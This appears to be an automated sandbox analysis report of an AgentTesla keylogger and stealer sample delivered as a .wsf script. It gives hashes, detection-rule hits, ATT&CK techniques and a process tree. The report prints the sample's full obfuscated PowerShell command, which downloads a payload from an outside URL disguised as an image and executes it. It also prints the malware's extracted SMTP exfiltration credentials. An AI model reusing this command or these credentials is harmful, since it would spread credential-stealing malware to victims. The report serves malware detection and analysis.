agenttesla | d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277

Analysis

max time kernel
134s
max time network
162s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
13/02/2024, 05:38

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General

Target

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf
Size

2KB
MD5

380c9e85f6960add801843076c33ec3b
SHA1

53f4ebaa47e325b25feaf22211dcff9223dc2ccc
SHA256

d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277
SHA512

88e6a1f62735e5116041dfa23c0a3743f3f31b6372c4af698323e7eddd028eff7d10bb83b883bda6e3aa2171827efb661eacd7e7d7db4ca8891919b134986e35

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.knoow.net
Port:
587
Username:
[email protected]
Password:
americanboy21@
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables manipulated with Fody 1 IoCs

resource	yara_rule
behavioral2/memory/2756-14-0x000002B2D64C0000-0x000002B2D64E6000-memory.dmp	INDICATOR_EXE_Packed_Fody

Detects executables packed with Costura DotNetGuard 1 IoCs

resource	yara_rule
behavioral2/memory/2756-14-0x000002B2D64C0000-0x000002B2D64E6000-memory.dmp	INDICATOR_EXE_Packed_Costura

Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 1 IoCs

resource	yara_rule
behavioral2/memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Blocklisted process makes network request 1 IoCs

flow	pid	Process
11	2756	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3073191680-435865314-2862784915-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2756 set thread context of 4716	2756	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
2756	powershell.exe
4716	InstallUtil.exe
4716	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 44 IoCs

description	pid	Process
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe
Token: SeRemoteShutdownPrivilege	2756	powershell.exe
Token: SeUndockPrivilege	2756	powershell.exe
Token: SeManageVolumePrivilege	2756	powershell.exe
Token: 33	2756	powershell.exe
Token: 34	2756	powershell.exe
Token: 35	2756	powershell.exe
Token: 36	2756	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe
Token: SeRemoteShutdownPrivilege	2756	powershell.exe
Token: SeUndockPrivilege	2756	powershell.exe
Token: SeManageVolumePrivilege	2756	powershell.exe
Token: 33	2756	powershell.exe
Token: 34	2756	powershell.exe
Token: 35	2756	powershell.exe
Token: 36	2756	powershell.exe
Token: SeDebugPrivilege	4716	InstallUtil.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 2756	4432	WScript.exe	83
PID 4432 wrote to memory of 2756	4432	WScript.exe	83
PID 2756 wrote to memory of 2100	2756	powershell.exe	86
PID 2756 wrote to memory of 2100	2756	powershell.exe	86
PID 2756 wrote to memory of 2100	2756	powershell.exe	86
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87
PID 2756 wrote to memory of 4716	2756	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d9002ae6089045126350070c7b0790b4eb478e9b764bfdae3ee61e2e62a0e277.wsf"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $rt='x','e','I';[Array]::Reverse($rt);sal z ($rt -join '');$t56fg = [Enum]::ToObject([System.Net.SecurityProtocolType], 3072);[System.Net.ServicePointManager]::SecurityProtocol = $t56fg;$tpg='[void','] [Syst','em.Refle','ction.Asse','mbly]::LoadWi','thPartialName(''Microsoft.VisualBasic'')';z($tpg -join '');do {$ping = test-connection -comp google.com -count 1 -Quiet} until ($ping);$tty55='(New-','Obje','ct Ne','t.We','bCli','ent)';$tty=z($tty55 -join '');$tty;$rot='Down','load','Str','ing';$rotJ=($rot -join '');$bnt='https','://didaktik-labor.de/mx1.jpg';$bntJ=($bnt -join '');$mv= [Microsoft.VisualBasic.Interaction]::CallByname($tty,$rotJ,[Microsoft.VisualBasic.CallType]::Method,$bntJ);z($mv)
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2756
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    PID:2100
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2abs3hj0.cis.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2756-20-0x00007FFB69A60000-0x00007FFB6A521000-memory.dmp

Filesize
10.8MB

Download
memory/2756-10-0x00007FFB69A60000-0x00007FFB6A521000-memory.dmp

Filesize
10.8MB

Download
memory/2756-11-0x000002B2BCE90000-0x000002B2BCEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-12-0x000002B2BCE90000-0x000002B2BCEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-13-0x000002B2BCE90000-0x000002B2BCEA0000-memory.dmp

Filesize
64KB

Download
memory/2756-14-0x000002B2D64C0000-0x000002B2D64E6000-memory.dmp

Filesize
152KB

Download
memory/2756-15-0x000002B2D64E0000-0x000002B2D64EC000-memory.dmp

Filesize
48KB

Download
memory/2756-16-0x000002B2D64F0000-0x000002B2D6508000-memory.dmp

Filesize
96KB

Download
memory/2756-21-0x00007FFB69A60000-0x00007FFB6A521000-memory.dmp

Filesize
10.8MB

Download
memory/2756-9-0x000002B2D5BE0000-0x000002B2D5C02000-memory.dmp

Filesize
136KB

Download
memory/4716-22-0x0000000075010000-0x00000000757C0000-memory.dmp

Filesize
7.7MB

Download
memory/4716-23-0x0000000005CC0000-0x0000000006264000-memory.dmp

Filesize
5.6MB

Download
memory/4716-17-0x0000000000400000-0x0000000000442000-memory.dmp

Filesize
264KB

Download
memory/4716-24-0x0000000075010000-0x00000000757C0000-memory.dmp

Filesize
7.7MB

Download
memory/4716-25-0x0000000005690000-0x00000000056A0000-memory.dmp

Filesize
64KB

Download
memory/4716-26-0x0000000005AC0000-0x0000000005B26000-memory.dmp

Filesize
408KB

Download
memory/4716-27-0x0000000005690000-0x00000000056A0000-memory.dmp

Filesize
64KB

Download
memory/4716-28-0x00000000065F0000-0x0000000006640000-memory.dmp

Filesize
320KB

Download
memory/4716-29-0x00000000066E0000-0x000000000677C000-memory.dmp

Filesize
624KB

Download
memory/4716-30-0x0000000006BA0000-0x0000000006C32000-memory.dmp

Filesize
584KB

Download
memory/4716-31-0x0000000006B70000-0x0000000006B7A000-memory.dmp

Filesize
40KB

Download